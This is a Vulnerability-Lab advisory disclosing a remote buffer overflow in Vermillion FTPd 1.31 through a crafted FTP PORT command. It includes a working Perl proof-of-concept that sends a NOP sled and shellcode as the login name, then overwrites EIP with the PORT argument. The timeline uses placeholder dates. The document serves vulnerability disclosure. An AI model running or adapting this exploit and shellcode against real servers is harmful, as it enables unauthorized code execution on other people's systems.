Vermillion FTPd v1.31 - Buffer Overflow Vulnerability

Document Title:
===============
Vermillion FTPd v1.31 - Buffer Overflow Vulnerability


References (Source):
====================
OSVDB-ID: 62163  (http://osvdb.org/show/osvdb/62163)
EDB-ID: 11293  (http://www.exploit-db.com/exploits/11293/)


Release Date:
=============
2011-06-07


Vulnerability Laboratory ID (VL-ID):
====================================
38


Common Vulnerability Scoring System:
====================================
8.5


Product & Service Introduction:
===============================
Vermillion FTP Daemon 1.31 is a FTP Server product from arcanesoft.com, get 5 Stars SoftSea Rating, Vermillion FTP Daemon is 
today s premier FTP server for Windows 95 and NT. VFTPD consistently receives rave reviews and its thousands of loyal users 
around the world agree that it has an unbeatable combination of high efficiency and security, reliable and robust operation, 
and easy configuration. VFTPD is a low cost, low maintenance solution for public Internet file servers, remote access services, 
or as a replacement for traditional EDI providers. SoftSea.com had fully tested, reviewed and uploaded the install files, 
Vermillion FTP Daemon does not contain any adware or spyware, the latest version is 1.31, you can download this ftp server 
software (908 KB) from special server of SoftSea.com. The license of this networking software is Free Trial Software, the 
price is $89.00, you can free download and get a free trial before you buy. If you want to get a full or nolimited version 
of Vermillion FTP Daemon, you can buy this networking software. Vermillion FTP Daemon 1.31 is a FTP Server product from arcanesoft.com


Abstract Advisory Information:
==============================
Vulnerability-Lab team discovered  a Buffer Overflow Vulnerability in the vFTP Deamon Software of Vermillion.
An attacker is able to control the eip by sending specific values when sending the custom PORT command & can 
get control of the affected vulnerable process.


Vulnerability Disclosure Timeline:
==================================
2010-01-02:	Vendor Notification
2010-00-00:	Vendor Response/Feedback
2010-00-00:	Vendor Fix/Patch
2010-01-30:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
An attacker is able to control the eip by sending specific values when sending the custom PORT command. It is also possible for 
attackers to control the vulnerable process & exploit the affected system.

Pictures:
../1.jpg
../2.jpg

Program:
../vftpd.exe
../key.txt


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by local or remote attackers. For demonstration or reproduce use the perl poc. 
(If the machine specific address i corrected it should open notepad on the system).


#!/usr/bin/perl

use Net::FTP;
$host = @ARGV[0];

if ($host)
{
   print "\n- VFTPD 1.31 - PoC (code excution machine specific Exploit\n-
					X4lt\n";
   $ftp = Net::FTP->new($host, Debug => 0);

#ok so now off 2 build the address
#so as title stated its machine specific atm
#

$var1 = "92000000,"x46;
$var2 = "92000000,";
										 #0047366C => This will become EIP (Machine specific)
$var3 = "92060012,"; #      6C
$var4 = "92030006,"; #    36
$var5 = "92040007,"; #  47
$var6 = "92000000,"; #00
$var7 = "2";

$buff = $var1.$var2.$var3.$var4.$var5.$var6.$var7;

$np = "\x90" x 200;
#notepad
$sc = "\xda\xde\xb8\xb8\x7f\xc3\xb5\x31\xc9\xb1\x33\xd9\x74\x24" .
"\xf4\x5b\x31\x43\x1a\x83\xeb\xfc\x03\x43\x16\xe2\x4d\x83" .
"\x2b\x3c\xad\x7c\xac\x5f\x24\x99\x9d\x4d\x52\xe9\x8c\x41" .
"\x11\xbf\x3c\x29\x77\x54\xb6\x5f\x5f\x5b\x7f\xd5\xb9\x52" .
"\x80\xdb\x05\x38\x42\x7d\xf9\x43\x97\x5d\xc0\x8b\xea\x9c" .
"\x05\xf1\x05\xcc\xde\x7d\xb7\xe1\x6b\xc3\x04\x03\xbb\x4f" .
"\x34\x7b\xbe\x90\xc1\x31\xc1\xc0\x7a\x4d\x89\xf8\xf1\x09" .
"\x29\xf8\xd6\x49\x15\xb3\x53\xb9\xee\x42\xb2\xf3\x0f\x75" .
"\xfa\x58\x2e\xb9\xf7\xa1\x77\x7e\xe8\xd7\x83\x7c\x95\xef" .
"\x50\xfe\x41\x65\x44\x58\x01\xdd\xac\x58\xc6\xb8\x27\x56" .
"\xa3\xcf\x6f\x7b\x32\x03\x04\x87\xbf\xa2\xca\x01\xfb\x80" .
"\xce\x4a\x5f\xa8\x57\x37\x0e\xd5\x87\x9f\xef\x73\xcc\x32" .
"\xfb\x02\x8f\x58\xfa\x87\xaa\x24\xfc\x97\xb4\x06\x95\xa6" .
"\x3f\xc9\xe2\x36\xea\xad\x13\xc6\x26\x38\x83\x71\xd3\x01" .
"\xc9\x81\x0e\x45\xf4\x01\xba\x36\x03\x19\xcf\x33\x4f\x9d" .
"\x3c\x4e\xc0\x48\x42\xfd\xe1\x58\x2c\x6e\x6a\x06\xc0\x11" .
"\xf6\xe6\x45\xaa\x93\xf6";

$np2 = "\x90" x 30;
$sc = $np.$sc.$np2;
$ftp->login($sc,'');
sleep(2);
$ftp->port($buff);

}
else {
   print "\n- VFPTD 1.31 - PoC Exploit\n-
X4lt\n\n- Usage: $0 host\n";
}


Security Risk:
==============
Attackers can crash, exploit or control(eip) the vulnerable process on the affected system.
The security risk of the bof vulnerability is estimated as critical.


Credits & Authors:
==================
Vulnerability Research Laboratory


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=========================
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